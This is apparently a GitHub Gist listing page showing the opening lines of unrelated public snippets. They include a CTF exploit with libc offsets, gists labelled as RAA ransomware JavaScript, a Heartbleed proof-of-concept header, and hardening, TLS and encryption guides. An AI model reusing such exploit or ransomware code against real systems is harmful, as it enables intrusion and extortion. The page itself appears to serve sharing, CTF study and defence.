Skip to content

Instantly share code, notes, and snippets.

@niklasb
niklasb / baby.py
Created January 22, 2017 21:32
exploit for 'baby' from Insomni'Hack Teaser 2017
import socket
import telnetlib
import time
import struct
import sys
TARGET=('localhost', 1337)
offset___libc_start_main_ret = 0x203f1
offset_system = 0x00000000000456d0
@mattiaslundberg
mattiaslundberg / Ansible Let's Encrypt Nginx setup
Last active January 30, 2025 19:01
Let's Encrypt Nginx setup with Ansible
Ansible playbook to setup HTTPS using Let's encrypt on nginx.
The Ansible playbook installs everything needed to serve static files from a nginx server over HTTPS.
The server pass A rating on [SSL Labs](https://www.ssllabs.com/).
To use:
1. Install [Ansible](https://www.ansible.com/)
2. Setup an Ubuntu 16.04 server accessible over ssh
3. Create `/etc/ansible/hosts` according to template below and change example.com to your domain
4. Copy the rest of the files to an empty directory (`playbook.yml` in the root of that folder and the rest in the `templates` subfolder)
@dreikanter
dreikanter / encrypt_openssl.md
Last active March 1, 2025 14:11 — forked from crazybyte/encrypt_openssl.txt
File encryption using OpenSSL

Symmetic encryption

For symmetic encryption, you can use the following:

To encrypt:

openssl aes-256-cbc -salt -a -e -in plaintext.txt -out encrypted.txt

To decrypt:

@Antelox
Antelox / RAA.js
Created July 12, 2016 15:16
RAA ransomware downloaded from datagiverd\.com
var CryptoJS = CryptoJS || function(u, p) {
var d = {},
l = d.lib = {},
s = function() {},
t = l.Base = {
extend: function(a) {
s.prototype = this;
var c = new s;
a && c.mixIn(a);
c.hasOwnProperty("init") || (c.init = function() {
@Antelox
Antelox / s.js
Created June 20, 2016 10:46
RAA Ransomware javascript code beautified
var CryptoJS = CryptoJS || function(u, p) {
var d = {},
l = d.lib = {},
s = function() {},
t = l.Base = {
extend: function(a) {
s.prototype = this;
var c = new s;
a && c.mixIn(a);
c.hasOwnProperty("init") || (c.init = function() {
@lokhman
lokhman / ubuntu-hardening.md
Last active February 24, 2025 09:26
List of things for hardening Ubuntu

WARNING

May contain out of date information. Check the comments below!

The list of actions listed below was taken mostly from Book Of Zeus with minor modifications and did the job well for Ubuntu version, which was available at that moment (May 2016). This gist was created for internal use and was never meant to be discovered by the web, although Google managed to find and index this page, which was a great surprise for me. Please check the original source for the updated information (links are provided in most of the sections), and read the comments below: they provide more details about the usage experience.

System Updates

http://bookofzeus.com/harden-ubuntu/initial-setup/system-updates/

Keeping the system updated is vital before starting anything on your system. This will prevent people to use known vulnerabilities to enter in your system.

# Simulate fake processes of analysis sandbox/VM that some malware will try to evade
# This just spawn ping.exe with different names (wireshark.exe, vboxtray.exe, ...)
# It's just a PoC and it's ugly as f*ck but hey, if it works...
# Usage: .\fake_sandbox.ps1 -action {start,stop}
param([Parameter(Mandatory=$true)][string]$action)
$fakeProcesses = @("wireshark.exe", "vmacthlp.exe", "VBoxService.exe",
"VBoxTray.exe", "procmon.exe", "ollydbg.exe", "vmware-tray.exe",
@Xyl2k
Xyl2k / heartbleed.py
Created February 16, 2016 15:39
Python Heartbleed (CVE-2014-0160) Proof of Concept
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
# Edited spl0it to loop and save cookies.
import sys
import struct
import socket
import time
/**
* e.g. retrieving field values from a form.
*/
function getDateFromForm() {
const props = ['year', 'month', 'day', 'hour', 'minutes', 'sec', 'milisec'];
return props.map((prop) => {
return document.querySelector(`#${prop}`).text;
});
}